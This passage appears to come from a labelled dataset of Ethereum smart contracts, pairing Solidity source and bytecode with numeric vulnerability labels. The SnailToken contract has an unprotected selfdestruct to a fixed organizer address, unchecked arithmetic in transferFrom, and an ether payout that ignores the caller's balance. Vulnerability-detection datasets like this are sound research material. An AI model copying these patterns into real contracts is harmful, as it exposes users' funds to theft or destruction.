function _isValidWithdrawLimits(uint _sendLimPerDay, uint _sendLimPerMonth, uint _value) internal pure returns (bool) {
return !(_value > _sendLimPerDay || _value > _sendLimPerMonth);
}
function _isValidDepositCountry(
uint _value,
uint _withdrawCountryCode,
uint _withdrawBalance,
uint _countryCode,
uint _balance,
uint _currentHolderCount,
uint _maxHolderNumber
)
internal
pure
returns (bool)
{
return _isNoNeedInCountryLimitChange(_value, _withdrawCountryCode, _withdrawBalance, _countryCode, _balance, _currentHolderCount, _maxHolderNumber)
? true
: _isValidDepositCountry(_balance, _currentHolderCount, _maxHolderNumber);
}
function _isNoNeedInCountryLimitChange(
uint _value,
uint _withdrawCountryCode,
uint _withdrawBalance,
uint _countryCode,
uint _balance,
uint _currentHolderCount,
uint _maxHolderNumber
)
internal
pure
returns (bool)
{
bool _needToIncrementCountryHolderCount = _balance == 0;
bool _needToDecrementCountryHolderCount = _withdrawBalance == _value;
bool _shouldOverflowCountryHolderCount = _currentHolderCount == _maxHolderNumber;
return _withdrawCountryCode == _countryCode && _needToDecrementCountryHolderCount && _needToIncrementCountryHolderCount && _shouldOverflowCountryHolderCount;
}
function _updateCountries(
uint _value,
uint _withdrawCountryCode,
uint _withdrawBalance,
uint _withdrawCurrentHolderCount,
uint _countryCode,
uint _balance,
uint _currentHolderCount,
uint _maxHolderNumber
)
internal
{
if (_isNoNeedInCountryLimitChange(_value, _withdrawCountryCode, _withdrawBalance, _countryCode, _balance, _currentHolderCount, _maxHolderNumber)) {
return;
}
_updateWithdrawCountry(_value, _withdrawCountryCode, _withdrawBalance, _withdrawCurrentHolderCount);
_updateDepositCountry(_countryCode, _balance, _currentHolderCount);
}
function _updateWithdrawCountry(
uint _value,
uint _countryCode,
uint _balance,
uint _currentHolderCount
)
internal
{
if (_value == _balance && OK != dataController.updateCountryHoldersCount(_countryCode, _currentHolderCount.sub(1))) {
revert();
}
}
function _updateDepositCountry(
uint _countryCode,
uint _balance,
uint _currentHolderCount
)
internal
{
if (_balance == 0 && OK != dataController.updateCountryHoldersCount(_countryCode, _currentHolderCount.add(1))) {
revert();
}
}
function _getParticipantRoles(address _from, address _to) private view returns (Roles _fromRole, Roles _toRole) {
_fromRole = dataController.isRegisteredAddress(_from) ? Roles.Holder : (serviceController.isService(_from) ? Roles.Service : Roles.Other);
_toRole = dataController.isRegisteredAddress(_to) ? Roles.Holder : (serviceController.isService(_to) ? Roles.Service : Roles.Other);
}
function _couldWithdrawFromHolder(address _holder, uint _value) private view returns (bool) {
bytes32 _holderId = dataController.getHolderExternalIdByAddress(_holder);
var (, _limPerDay, _limPerMonth, _operational,) = dataController.getHolderInfo(_holderId);
return _operational ? _isValidWithdrawLimits(_limPerDay, _limPerMonth, _value) : false;
}
function _couldDepositToHolder(address _holder, uint) private view returns (bool) {
bytes32 _holderId = dataController.getHolderExternalIdByAddress(_holder);
var (,,, _operational,) = dataController.getHolderInfo(_holderId);
return _operational;
}
//TODO need additional check: not clear check of country limit:
function _isValidDepositCountry(uint _balance, uint _currentHolderCount, uint _maxHolderNumber) private pure returns (bool) {
return !(_balance == 0 && _currentHolderCount == _maxHolderNumber);
}
function _getHoldersInfo(address _to, Roles _toRole, uint, address _from, Roles _fromRole)
private
view
returns (
uint _fromCountryCode,
uint _fromBalance,
uint _toCountryCode,
uint _toCountryCurrentHolderCount,
uint _toCountryMaxHolderNumber,
uint _toBalance
) {
bytes32 _holderId;
if (_toRole == Roles.Holder) {
_holderId = dataController.getHolderExternalIdByAddress(_to);
_toCountryCode = dataController.getHolderCountryCode(_holderId);
(_toCountryCurrentHolderCount, _toCountryMaxHolderNumber) = dataController.getCountryInfo(_toCountryCode);
_toBalance = ERC20Interface(proxy).balanceOf(_to);
}
if (_fromRole == Roles.Holder) {
_holderId = dataController.getHolderExternalIdByAddress(_from);
_fromCountryCode = dataController.getHolderCountryCode(_holderId);
_fromBalance = ERC20Interface(proxy).balanceOf(_from);
}
}
function _isValidCountryLimits(address _to, Roles _toRole, uint _value, address _from, Roles _fromRole) private view returns (bool) {
var (
_fromCountryCode,
_fromBalance,
_toCountryCode,
_toCountryCurrentHolderCount,
_toCountryMaxHolderNumber,
_toBalance
) = _getHoldersInfo(_to, _toRole, _value, _from, _fromRole);
//TODO not clear for which case this check
bool _isValidLimitFromHolder = _fromRole == _toRole && _fromRole == Roles.Holder && !_isValidDepositCountry(_value, _fromCountryCode, _fromBalance, _toCountryCode, _toBalance, _toCountryCurrentHolderCount, _toCountryMaxHolderNumber);
bool _isValidLimitsToHolder = _toRole == Roles.Holder && !_isValidDepositCountry(_toBalance, _toCountryCurrentHolderCount, _toCountryMaxHolderNumber);
return !(_isValidLimitFromHolder || _isValidLimitsToHolder);
}
function _updateTransferLimits(address _to, Roles _toRole, uint _value, address _from, Roles _fromRole) private {
var (
_fromCountryCode,
_fromBalance,
_toCountryCode,
_toCountryCurrentHolderCount,
_toCountryMaxHolderNumber,
_toBalance
) = _getHoldersInfo(_to, _toRole, _value, _from, _fromRole);
if (_fromRole == Roles.Holder && OK != dataController.withdrawFrom(_from, _value)) {
revert();
}
if (_toRole == Roles.Holder && OK != dataController.depositTo(_from, _value)) {
revert();
}
uint _fromCountryCurrentHolderCount;
if (_fromRole == Roles.Holder && _fromRole == _toRole) {
(_fromCountryCurrentHolderCount,) = dataController.getCountryInfo(_fromCountryCode);
_updateCountries(
_value,
_fromCountryCode,
_fromBalance,
_fromCountryCurrentHolderCount,
_toCountryCode,
_toBalance,
_toCountryCurrentHolderCount,
_toCountryMaxHolderNumber
);
} else if (_fromRole == Roles.Holder) {
(_fromCountryCurrentHolderCount,) = dataController.getCountryInfo(_fromCountryCode);
_updateWithdrawCountry(_value, _fromCountryCode, _fromBalance, _fromCountryCurrentHolderCount);
} else if (_toRole == Roles.Holder) {
_updateDepositCountry(_toCountryCode, _toBalance, _toCountryCurrentHolderCount);
}
}
}
/// @title ATx Asset implementation contract.
///
/// Basic asset implementation contract, without any additional logic.
/// Every other asset implementation contracts should derive from this one.
/// Receives calls from the proxy, and calls back immediately without arguments modification.
///
/// Note: all the non constant functions return false instead of throwing in case if state change
/// didn't happen yet.
contract Asset is ATxAsset {
} | 0x6060604052600436106100cc5763ffffffff60e060020a60003504166319ab453c81146100d15780634592cd1d146101045780635447fab014610117578063557f4bc91461014657806357163cc3146101655780635aa77d3c146101935780636a630ee7146101a65780637b7054c81461021657806383197ef01461023f578063b5f09a3914610254578063bc9968a214610279578063ce606ee01461028c578063d48fe2801461029f578063ec556889146102b2578063ec698a28146102c5578063f2d6e0ab1461033c575b600080fd5b34156100dc57600080fd5b6100f0600160a060020a036004351661038d565b604051901515815260200160405180910390f35b341561010f57600080fd5b6100f06103da565b341561012257600080fd5b61012a610434565b604051600160a060020a03909116815260200160405180910390f35b341561015157600080fd5b6100f0600160a060020a0360043516610443565b341561017057600080fd5b6100f0600160a060020a03600435811690602435811690604435166064356104a7565b341561019e57600080fd5b61012a61057c565b34156101b157600080fd5b6100f060048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965050509235600160a060020a0316925061058b915050565b341561022157600080fd5b6100f0600160a060020a036004358116906024359060443516610631565b341561024a57600080fd5b610252610660565b005b341561025f57600080fd5b610267610685565b60405190815260200160405180910390f35b341561028457600080fd5b61012a61068b565b341561029757600080fd5b61012a61069a565b34156102aa57600080fd5b6102676106a9565b34156102bd57600080fd5b61012a6106ae565b34156102d057600080fd5b6100f0600160a060020a036004803582169160248035909116916044359160849060643590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965050509235600160a060020a031692506106bd915050565b61025260046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965050509235600160a060020a031692506100cc915050565b600254600090600160a060020a0316156103a9575060006103d5565b506002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03831617905560015b919050565b60045460009033600160a060020a039081169116146103fb57506000610431565b50600480546003805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a0384161790915516905560015b90565b600554600160a060020a031681565b60035460009033600160a060020a03908116911614156103d557600160a060020a0382161515610475575060006103d5565b5060048054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199091161790556001919050565b60035460009033600160a060020a039081169116141561057457600160a060020a03841615156104d657600080fd5b600160a060020a03831615156104eb57600080fd5b600160a060020a038516151561050057600080fd5b4282118061050c575081155b151561051757600080fd5b6105208561038d565b151561052e57506000610574565b5060058054600160a060020a0380861673ffffffffffffffffffffffffffffffffffffffff19928316179092556006805492851692909116919091179055600781905560015b949350505050565b600454600160a060020a031681565b6002546000908190819033600160a060020a0390811691161415610627576105b38488610837565b915091506105c48782888786610a4b565b15156105d35760009250610627565b6105e08782888786610ca0565b15156105ef5760009250610627565b6105fb87878787610d52565b151561060a5760009250610627565b6106178782888786610d81565b610622848888611067565b600192505b5050949350505050565b60025460009033600160a060020a03908116911614156106595761065684848461116b565b90505b9392505050565b60035433600160a060020a03908116911614156106835733600160a060020a0316ff5b565b60075481565b600654600160a060020a031681565b600354600160a060020a031681565b600181565b600254600160a060020a031681565b60025460009081908190819033600160a060020a039081169116141561082b576106e78989610837565b909350915060008360028111156106fa57fe5b1480156107145750600354600160a060020a038981169116145b801561079457506006548790600160a060020a0316633e5beab98b60006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561077657600080fd5b6102c65a03f1151561078757600080fd5b5050506040518051905010155b80156107a857506107a889898989896111fa565b905080156107b9576001935061082b565b6107c78883898c878a61122b565b15156107d6576000935061082b565b6107e38883898c87610ca0565b15156107f2576000935061082b565b6107ff89898989896111fa565b151561080e576000935061082b565b61081b8883898c87610d81565b610826898989611067565b600193505b50505095945050505050565b6006546000908190600160a060020a031663db0c7ca885836040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561089457600080fd5b6102c65a03f115156108a557600080fd5b5050506040518051905061093a57600554600160a060020a031663e9d8dbfd8560006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561090c57600080fd5b6102c65a03f1151561091d57600080fd5b50505060405180519050610932576002610935565b60015b61093d565b60005b600654909250600160a060020a031663db0c7ca88460006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561099957600080fd5b6102c65a03f115156109aa57600080fd5b50505060405180519050610a3f57600554600160a060020a031663e9d8dbfd8460006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610a1157600080fd5b6102c65a03f11515610a2257600080fd5b50505060405180519050610a37576002610a3a565b60015b610a42565b60005b90509250929050565b6002546000908190819081908190600160a060020a038b811691161415610a755760009450610c93565b6001866002811115610a8357fe5b148015610b2b5750600254600160a060020a038089169163c32ee591918a918e918391168d60006040516020015260405160e060020a63ffffffff8816028152600160a060020a039586166004820152938516602485015291841660448401529092166064820152608481019190915260a401602060405180830381600087803b1515610b0f57600080fd5b6102c65a03f11515610b2057600080fd5b505050604051805190505b93506001896002811115610b3b57fe5b148015610be35750600254600160a060020a03808c169163c32ee591918a918e918391168d60006040516020015260405160e060020a63ffffffff8816028152600160a060020a039586166004820152938516602485015291841660448401529092166064820152608481019190915260a401602060405180830381600087803b1515610bc757600080fd5b6102c65a03f11515610bd857600080fd5b505050604051805190505b92506000896002811115610bf357fe5b148015610c055750610c058a89611245565b9150610c0f611353565b15610c3b576000866002811115610c2257fe5b148015610c345750610c34878961135b565b9050610c77565b6000866002811115610c4957fe5b148015610c5b5750610c5b878961135b565b8015610c745750600354600160a060020a038881169116145b90505b8080610c805750835b8015610c9057508180610c905750825b94505b5050505095945050505050565b6000806000806000806000806000610cbb8e8e8e8e8e61147f565b9750975097509750975097508c6002811115610cd357fe5b8a6002811115610cdf57fe5b148015610cf7575060008a6002811115610cf557fe5b145b8015610d0f5750610d0d8c898989878a8a6117e9565b155b915060008d6002811115610d1f57fe5b148015610d345750610d3283868661181d565b155b90508180610d3f5750805b159e9d5050505050505050505050505050565b60025460009033600160a060020a039081169116141561057457610d7885858585611835565b95945050505050565b6000806000806000806000610d998c8c8c8c8c61147f565b949b509299509097509550935091506000886002811115610db657fe5b148015610e3d5750600654600160a060020a0316639470b0bd8a8c60006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610e1d57600080fd5b6102c65a03f11515610e2e57600080fd5b50505060405180519050600114155b15610e4757600080fd5b60008b6002811115610e5557fe5b148015610edc5750600654600160a060020a031663ffaad6a58a8c60006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610ebc57600080fd5b6102c65a03f11515610ecd57600080fd5b50505060405180519050600114155b15610ee657600080fd5b6000886002811115610ef457fe5b148015610f1657508a6002811115610f0857fe5b886002811115610f1457fe5b145b15610fa557600654600160a060020a031663bf9819958860006040516040015260405160e060020a63ffffffff841602815260048101919091526024016040805180830381600087803b1515610f6b57600080fd5b6102c65a03f11515610f7c57600080fd5b505050604051805190602001805150909150610fa090508a88888489878a8a61194b565b611059565b6000886002811115610fb357fe5b141561103a57600654600160a060020a031663bf9819958860006040516040015260405160e060020a63ffffffff841602815260048101919091526024016040805180830381600087803b151561100957600080fd5b6102c65a03f1151561101a57600080fd5b505050604051805190602001805150909150610fa090508a888884611985565b60008b600281111561104857fe5b141561105957611059858386611a26565b505050505050505050505050565b600080611072611c3d565b843b925060008311156111635784915081600160a060020a031663c0ee0b8a8786846040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156111015780820151838201526020016110e9565b50505050905090810190601f16801561112e5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561114e57600080fd5b6102c65a03f1151561115f57600080fd5b5050505b505050505050565b600254600090600160a060020a0316637b7054c8858585856040516020015260405160e060020a63ffffffff8616028152600160a060020a03938416600482015260248101929092529091166044820152606401602060405180830381600087803b15156111d857600080fd5b6102c65a03f115156111e957600080fd5b505050604051805195945050505050565b60025460009033600160a060020a0390811691161415610d78576112218686868686611ac5565b9695505050505050565b600061123a8787878787610a4b565b979650505050505050565b60065460009081908190600160a060020a0316638a3a572486836040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156112a457600080fd5b6102c65a03f115156112b557600080fd5b5050506040518051600654909350600160a060020a03169050639008d64f83600060405160a0015260405160e060020a63ffffffff8416028152600481019190915260240160a060405180830381600087803b151561131357600080fd5b6102c65a03f1151561132457600080fd5b505050604051805190602001805190602001805190602001805190602001805150909998505050505050505050565b600754421190565b6006546000908190819081908190600160a060020a0316638a3a572488836040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156113be57600080fd5b6102c65a03f115156113cf57600080fd5b5050506040518051600654909550600160a060020a03169050639008d64f85600060405160a0015260405160e060020a63ffffffff8416028152600481019190915260240160a060405180830381600087803b151561142d57600080fd5b6102c65a03f1151561143e57600080fd5b5050506040518051906020018051906020018051906020018051906020018051905050935093509350508061147457600061123a565b61123a838388611bd2565b6000808080808080808b600281111561149457fe5b141561166b57600654600160a060020a0316638a3a57248d60006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156114f357600080fd5b6102c65a03f1151561150457600080fd5b5050506040518051600654909250600160a060020a03169050635d7188188260006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561156257600080fd5b6102c65a03f1151561157357600080fd5b5050506040518051600654909650600160a060020a0316905063bf9819958660006040516040015260405160e060020a63ffffffff841602815260048101919091526024016040805180830381600087803b15156115d057600080fd5b6102c65a03f115156115e157600080fd5b5050506040518051906020018051600254929650945050600160a060020a03166370a082318d60006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561164e57600080fd5b6102c65a03f1151561165f57600080fd5b50505060405180519250505b600088600281111561167957fe5b14156117db57600654600160a060020a0316638a3a57248a60006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156116d857600080fd5b6102c65a03f115156116e957600080fd5b5050506040518051600654909250600160a060020a03169050635d7188188260006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561174757600080fd5b6102c65a03f1151561175857600080fd5b5050506040518051600254909850600160a060020a031690506370a082318a60006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156117be57600080fd5b6102c65a03f115156117cf57600080fd5b50505060405180519650505b509550955095509550955095565b60006117fa88888888888888611be5565b61180e5761180984848461181d565b611811565b60015b98975050505050505050565b60008315801561182c57508183145b15949350505050565b600254600090600160a060020a0316636a630ee78686868686604051602001526040518563ffffffff1660e060020a0281526004018085600160a060020a0316600160a060020a031681526020018481526020018060200183600160a060020a0316600160a060020a03168152602001828103825284818151815260200191508051906020019080838360005b838110156118da5780820151838201526020016118c2565b50505050905090810190601f1680156119075780820380516001836020036101000a031916815260200191505b5095505050505050602060405180830381600087803b151561192857600080fd5b6102c65a03f1151561193957600080fd5b50505060405180519695505050505050565b61195a88888887878787611be5565b156119645761197b565b61197088888888611985565b61197b848484611a26565b5050505050505050565b8184148015611a165750600654600160a060020a031663e65f0246846119b284600163ffffffff611c1c16565b60006040516020015260405160e060020a63ffffffff851602815260048101929092526024820152604401602060405180830381600087803b15156119f657600080fd5b6102c65a03f11515611a0757600080fd5b50505060405180519050600114155b15611a2057600080fd5b50505050565b81158015611ab65750600654600160a060020a031663e65f024684611a5284600163ffffffff611c2e16565b60006040516020015260405160e060020a63ffffffff851602815260048101929092526024820152604401602060405180830381600087803b1515611a9657600080fd5b6102c65a03f11515611aa757600080fd5b50505060405180519050600114155b15611ac057600080fd5b505050565b600254600090600160a060020a031663ec698a288787878787876040516020015260405160e060020a63ffffffff8816028152600160a060020a0380871660048301908152868216602484015260448301869052908316608483015260a060648301908152909160a40184818151815260200191508051906020019080838360005b83811015611b5f578082015183820152602001611b47565b50505050905090810190601f168015611b8c5780820380516001836020036101000a031916815260200191505b509650505050505050602060405180830381600087803b1515611bae57600080fd5b6102c65a03f11515611bbf57600080fd5b5050506040518051979650505050505050565b60008382118061182c5750501115919050565b600083158689148484148988148015611bfb5750815b8015611c045750825b8015611c0d5750805b9b9a5050505050505050505050565b600082821115611c2857fe5b50900390565b60008282018381101561065957fe5b602060405190810160405260008152905600a165627a7a72305820b27e30b5331ec9e5427ffb31eb52d8abca9d754f630d8458b4db7d828bd17d260029 | [
7,
20,
30,
1,
16
] |
0xf3319a43b922e2ee5c33fb83b8a860344d8279bb | pragma solidity ^0.4.16;
contract Token{
uint256 public totalSupply;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns
(bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns
(uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256
_value);
}
contract SnailToken is Token {
string public name="SnailToken";
uint8 public decimals=18;
string public symbol="Snail";
address public organizer=0x06BB7b2E393671b85624128A5475bE4A8c1c03E9;
function SnailToken(uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol) public {
totalSupply = _initialAmount * 10 ** uint256(_decimalUnits);
balances[msg.sender] = totalSupply;
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]);
require(_to != 0x0);
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns
(bool success) {
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value);
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success)
{
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
function takeout(uint256 amount) public{
require(address(this).balance>=amount*10**18);
transfer(address(this),amount);
msg.sender.transfer(amount*10**18);
}
function destroy() public{
selfdestruct(organizer);}
} | 0x6060604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461017e57806323b872dd146101a3578063313ce567146101cb57806361203265146101f457806370a082311461022357806383197ef01461024257806395d89b4114610257578063a9059cbb1461026a578063dd62ed3e1461028c578063eee56b7a146102b1575b600080fd5b34156100c957600080fd5b6100d16102c7565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561010d5780820151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015357600080fd5b61016a600160a060020a0360043516602435610365565b604051901515815260200160405180910390f35b341561018957600080fd5b6101916103d1565b60405190815260200160405180910390f35b34156101ae57600080fd5b61016a600160a060020a03600435811690602435166044356103d7565b34156101d657600080fd5b6101de6104c0565b60405160ff909116815260200160405180910390f35b34156101ff57600080fd5b6102076104c9565b604051600160a060020a03909116815260200160405180910390f35b341561022e57600080fd5b610191600160a060020a03600435166104d8565b341561024d57600080fd5b6102556104f3565b005b341561026257600080fd5b6100d1610501565b341561027557600080fd5b61016a600160a060020a036004351660243561056c565b341561029757600080fd5b610191600160a060020a036004358116906024351661063c565b34156102bc57600080fd5b610255600435610667565b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561035d5780601f106103325761010080835404028352916020019161035d565b820191906000526020600020905b81548152906001019060200180831161034057829003601f168201915b505050505081565b600160a060020a03338116600081815260066020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005481565b600160a060020a0383166000908152600560205260408120548290108015906104275750600160a060020a0380851660009081526006602090815260408083203390941683529290522054829010155b151561043257600080fd5b600160a060020a03808416600081815260056020908152604080832080548801905588851680845281842080548990039055600683528184203390961684529490915290819020805486900390559091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b60025460ff1681565b600454600160a060020a031681565b600160a060020a031660009081526005602052604090205490565b600454600160a060020a0316ff5b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561035d5780601f106103325761010080835404028352916020019161035d565b600160a060020a0333166000908152600560205260408120548290108015906105ae5750600160a060020a038316600090815260056020526040902054828101115b15156105b957600080fd5b600160a060020a03831615156105ce57600080fd5b600160a060020a033381166000818152600560205260408082208054879003905592861680825290839020805486019055917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260066020908152604080832093909416825291909152205490565b670de0b6b3a76400008102600160a060020a03301631101561068857600080fd5b610692308261056c565b50600160a060020a033316670de0b6b3a7640000820280156108fc0290604051600060405180830381858888f1935050505015156106cf57600080fd5b505600a165627a7a723058209f35b832844dd658d8b27e69d87f1da326778ef9b73f8196be3eb7790ebab43b0029 | [
23,
11
] |
0xf331b2c406fef2539e9b1150345575feb9f0323c | /**
*Submitted for verification at BscScan.com on 2022-03-22
*/
/**
*Submitted for verification at FtmScan.com on 2022-03-18
*/
/**
*Submitted for verification at BscScan.com on 2022-03-17
*/
/**
*Submitted for verification at BscScan.com on 2022-03-15
*/
/**
*Submitted for verification at BscScan.com on 2022-03-11
*/
/**
*Submitted for verification at BscScan.com on 2022-03-09
*/
/**
*Submitted for verification at BscScan.com on 2022-02-11
*/
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.2;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface of the ERC2612 standard as defined in the EIP.
*
* Adds the {permit} method, which can be used to change one's
* {IERC20-allowance} without having to send a transaction, by signing a
* message. This allows users to spend tokens without having to hold Ether.
*
* See https://eips.ethereum.org/EIPS/eip-2612.
*/
interface IERC2612 {
/**
* @dev Returns the current ERC2612 nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external returns (bool);
}
/// @dev Wrapped ERC-20 v10 (AnyswapV3ERC20) is an ERC-20 ERC-20 wrapper. You can `deposit` ERC-20 and obtain an AnyswapV3ERC20 balance which can then be operated as an ERC-20 token. You can
/// `withdraw` ERC-20 from AnyswapV3ERC20, which will then burn AnyswapV3ERC20 token in your wallet. The amount of AnyswapV3ERC20 token in any wallet is always identical to the
/// balance of ERC-20 deposited minus the ERC-20 withdrawn with that specific wallet.
interface IAnyswapV3ERC20 is IERC20, IERC2612 {
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool);
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// A transfer to `address(0)` triggers an ERC-20 withdraw matching the sent AnyswapV3ERC20 token in favor of caller.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external returns (bool);
}
interface ITransferReceiver {
function onTokenTransfer(address, uint, bytes calldata) external returns (bool);
}
interface IApprovalReceiver {
function onTokenApproval(address, uint, bytes calldata) external returns (bool);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract AnyswapV6ERC20 is IAnyswapV3ERC20 {
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public immutable override decimals;
address public immutable underlying;
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant TRANSFER_TYPEHASH = keccak256("Transfer(address owner,address to,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public immutable DOMAIN_SEPARATOR;
/// @dev Records amount of AnyswapV3ERC20 token owned by account.
mapping (address => uint256) public override balanceOf;
uint256 private _totalSupply;
// init flag for setting immediate vault, needed for CREATE2 support
bool private _init;
// flag to enable/disable swapout vs vault.burn so multiple events are triggered
bool private _vaultOnly;
// configurable delay for timelock functions
uint public delay = 2*24*3600;
// set of minters, can be this bridge or other bridges
mapping(address => bool) public isMinter;
address[] public minters;
// primary controller of the token contract
address public vault;
address public pendingMinter;
uint public delayMinter;
address public pendingVault;
uint public delayVault;
modifier onlyAuth() {
require(isMinter[msg.sender], "AnyswapV4ERC20: FORBIDDEN");
_;
}
modifier onlyVault() {
require(msg.sender == mpc(), "AnyswapV3ERC20: FORBIDDEN");
_;
}
function owner() public view returns (address) {
return mpc();
}
function mpc() public view returns (address) {
if (block.timestamp >= delayVault) {
return pendingVault;
}
return vault;
}
function setVaultOnly(bool enabled) external onlyVault {
_vaultOnly = enabled;
}
function initVault(address _vault) external onlyVault {
require(_init);
vault = _vault;
pendingVault = _vault;
isMinter[_vault] = true;
